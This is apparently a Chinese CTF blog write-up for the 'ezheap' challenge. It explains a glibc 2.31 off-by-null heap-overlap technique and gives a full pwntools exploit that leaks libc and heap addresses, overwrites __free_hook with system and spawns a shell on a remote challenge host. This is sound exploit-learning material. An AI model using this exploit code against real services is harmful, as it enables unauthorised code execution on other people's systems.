• [libc-2.31 off_by_null] N0wayBack ezheap练习


    以前保留了个WP,但是没复现过也没法用,用了两个晚上慢慢理复现一下。

    先看这个题

    1. while ( 1 )
    2. {
    3. menu();
    4. __isoc99_scanf("%d", &v3);
    5. switch ( v3 )
    6. {
    7. case 1:
    8. m1add(); //带read
    9. break;
    10. case 2:
    11. m2free();
    12. break;
    13. case 3:
    14. m3edit(); //溢出
    15. break;
    16. case 4:
    17. m4show();
    18. break;
    19. case 5:
    20. exit(0);
    21. default:
    22. continue;
    23. }
    24. }

    可以建31个块,数量不是问题,edit的时候会有溢出,并且\n会被转化为\0

    1. unsigned __int64 __fastcall read_0(__int64 a1, unsigned int a2)
    2. {
    3. char buf; // [rsp+13h] [rbp-Dh] BYREF
    4. unsigned int i; // [rsp+14h] [rbp-Ch]
    5. unsigned __int64 v5; // [rsp+18h] [rbp-8h]
    6. v5 = __readfsqword(0x28u);
    7. for ( i = 0; a2 > i; ++i )
    8. {
    9. buf = 0;
    10. if ( read(0, &buf, 1uLL) < 0 )
    11. {
    12. puts("Read error.");
    13. exit(-2);
    14. }
    15. if ( buf == 10 )
    16. {
    17. *(_BYTE *)((int)i + a1) = 0;
    18. return __readfsqword(0x28u) ^ v5;
    19. }
    20. *(_BYTE *)(a1 + (int)i) = buf;
    21. }
    22. *(_BYTE *)((int)i + a1) = 0;
    23. return __readfsqword(0x28u) ^ v5;
    24. }

    这个溢出,听说来看一句话。当输入n个字符后在后边加一个\0

    buf[read(0,buf,n)]=0;

    先看下在旧版本上的处理办法。2.27以前时候可以形成向前合并,生成重叠块。方法是建块ABCD

    A块大小可以释放到unsort,B块通过溢出修改C块的size修改C的presize为A+B,C的size尾字节为0,C要能释放到unsort并且size尾应该是01(比如0x501),D用来分隔。先释放A,然后通过B修改C的size尾再释放C,形成向前合并,将未释放的B一起进入unsort,再建块时会跟B形成重叠块。

    在2.31后就多了检查。这样释放就不允许了。新的方法是通过残留绕过检查。需要在3个块的指针其中C.fd->A,C.bk->D,A.bk->C,D.fd->C

    具体思路:

    1. 建ABCD 4个块,BC相邻,其它中间有间隔。C的位置(presize,不是数据开始)尾字节为0。大小满足C>D>A,在C的位置生成指针。
    2. 造C的指针。依次释放ACD,这时在C的头部会生成指向A和D的指针C.fd->A,C.bk->D
    3. 释放B,会和C合并,再建B(oldB+0x20)将原来的指针保留在newB的尾部
    4. 修复A.bk,释放A和newC再次形成指针链,这时A.bk->newC,重建A并通过off_by_null将bk的尾覆盖为0(指向oldC)
    5. 修复D.fd,释放newC和D,D.fd->newC,再建D时覆盖fd尾字节为0指向oldC
    6. 在D后边的分隔后建尾E(0xa01)
    7. 编辑D后的分隔,写入E的presize= oldC+间隔+D+间隔,off_by_null覆盖E的size尾为\0
    8. 释放E向前合并,不过这时会将 top_chunk一起合并,不过这不影响使用,再建块时形成重叠。

    后边由于2.31还没有去掉free_hook,在得到重叠块后可以直接往free_hook写system.

    另外这题有编号是自动的,这个东西极其讨厌,如果记不好只能一点点调。为方便我一步步记录下来省得乱。也算个着吧。

    1. from pwn import *
    2. #p = process('./ezheap')
    3. p = remote('36.152.17.3', 10016)
    4. context(arch='amd64', log_level='debug')
    5. libc = ELF('./libc-2.31.so')
    6. def add(size, msg=b'\n'):
    7. p.sendlineafter(b">> ", b'1')
    8. p.sendlineafter(b"Length of game description:\n", str(size).encode())
    9. p.sendlineafter(b"Game description:\n", msg)
    10. def free(idx):
    11. p.sendlineafter(b">> ", b'2')
    12. p.sendlineafter(b"game index: ", str(idx).encode())
    13. def edit(idx, msg):
    14. p.sendlineafter(b">> ", b'3')
    15. p.sendlineafter(b"game index: ", str(idx).encode())
    16. p.sendlineafter(b"Game description:\n", msg)
    17. def show(idx):
    18. p.sendlineafter(b">> ", b'4')
    19. p.sendlineafter(b"game index: ", str(idx).encode())
    20. # padding A B C D
    21. # 1 2 3 4 5 6 7
    22. for i in [0x1000-0xf0+8,0x418,0x108,0x418,0x438,0x108,0x428,0x208]:
    23. add(i)
    24. #A-C-D largebin-chain
    25. for i in [1,4,6,3]: #free ACD,free B combin BC
    26. free(i)
    27. #fack newC oldC fd->A,bk->D
    28. add(0x438, b'\x00'*0x418+p64(0xb91)[:-1]) #newB 1
    29. add(0x418) #newC 3
    30. add(0x428) #D 4
    31. add(0x418, b'1'*0x100) #A 6
    32. ## 1 2 3 4 5 6 7
    33. ## 6 2 1 [ 3 5 4 7 ]B90
    34. #for i in [0x1000-8-0xf0,0x418,0x108,0x418,0x438,0x108,0x428,0x208]:
    35. #0x55555555cb00: 0x0000000000000000 0x0000000000000b91
    36. #0x55555555cb10: 0x000055555555c1a0 0x000055555555d040
    37. #0x55555555cb20: 0x0000000000000000 0x0000000000000421
    38. #repair bk
    39. free(6)
    40. free(3)
    41. add(0x418, b'PIG007nb\n')
    42. add(0x418)
    43. ## 1 2 3 4 5 6 7
    44. ## 6 2 1 [ 3 5 4 7 ]B90
    45. ## 3 2 1 6 5 4 7
    46. #for i in [0x1000-8-0xf0,0x418,0x108,0x418,0x438,0x108,0x428,0x208]:
    47. #0x55555555c1b0: 0x0000000000000000 0x0000000000000421
    48. #0x55555555c1c0: 0x626e373030474950 0x000055555555cb00
    49. #repair fd
    50. free(6) #newC
    51. free(4) #D
    52. add(0x9f8) #unlink_point
    53. #add(0x9f8) #no combine top_chunk
    54. add(0x428, b'\n') #overflow \x00 in fd
    55. ## 1 2 3 4 5 6 7
    56. ## 6 2 1 [ 3 5 4 7 ]B90
    57. ## 3 2 1 [ 6 5 4 7 ]
    58. ## 3 2 1 [ unsort 5 6 7 ] 4
    59. #for i in [0x1000-8-0xf0,0x418,0x108,0x418,0x438,0x108,0x428,0x208, 0x9f8]:
    60. #0x55555555d050: 0x0000000000000000 0x0000000000000431
    61. #0x55555555d060: 0x000055555555cb00 0x00007ffff7fc1fd0
    62. '''
    63. #0x55555555c1b0: 0x0000000000000000 0x0000000000000421
    64. #0x55555555c1c0: ------------------ 0x000055555555cb00->C A
    65. #0x55555555cb00: 0x0000000000000000 0x0000000000000b91
    66. #0x55555555cb10: 0x000055555555c1a0->A 0x000055555555d040->D oldC
    67. #0x55555555d050: 0x0000000000000000 0x0000000000000431
    68. #0x55555555d060: 0x000055555555cb00->C ------------------ D
    69. '''
    70. #unlink
    71. edit(7, b'1'*0x200 + p64(0xb90)) #3 0x501-0x500,presize=0x550
    72. free(4)
    73. add(0x438) #4 cb10 free后会与top_chunk合并,并没有unsort指针泄露
    74. add(0x418) #8 清除残留的unsort
    75. add(0x418) #9 == 5 再建的块与原块形成重叠块,再次释放时得到残留libc
    76. add(0x108) #10 D370
    77. free(9)
    78. #0x55555555cf40: 0x0000000000000420 0x0000000000001151
    79. #0x55555555cf50: 0x00007ffff7fc1be0 0x00007ffff7fc1be0
    80. show(5)
    81. libc.address = u64(p.recvuntil(b'\x7f').ljust(8,b'\x00')) - 0x70 - libc.sym['__malloc_hook']
    82. print(f"{libc.address = :x}")
    83. add(0x78) #9
    84. add(0x78) #11
    85. free(11)
    86. free(9)
    87. show(5)
    88. heap_address = u64(p.recvline()[:-1].ljust(8,b'\x00')) - 0x1fd0
    89. print(f"{heap_address = :x}")
    90. edit(5, p64(libc.sym['__free_hook'])[:-1])
    91. add(0x78, b'/bin/sh') #9
    92. add(0x78, p64(libc.sym['system'])) #11 __free_hook
    93. free(9)
    94. p.interactive()

  • 相关阅读:
    供热管网安全运行监测,提升供热管网安全性能
    玩转百万电影解说,必须知道的4个隐藏技巧!包括素材、文案、剪辑、配音4个方面!
    broot:CLI file explorer命令行版资源管理器(windows+linux+...)
    MySQL 索引&事务
    奇富科技发布鸿蒙元服务1.0版本,打造鸿蒙生态金融科技全新体验
    Python-算法编程100例-滑动窗口(入门级)
    golang--module
    从零开始,打造自己的专属游戏世界!
    【深度学习】Mini-Batch梯度下降法
    azkban设置重试不起作用,且有的任务一直running,无日志
  • 原文地址:https://blog.csdn.net/weixin_52640415/article/details/132840581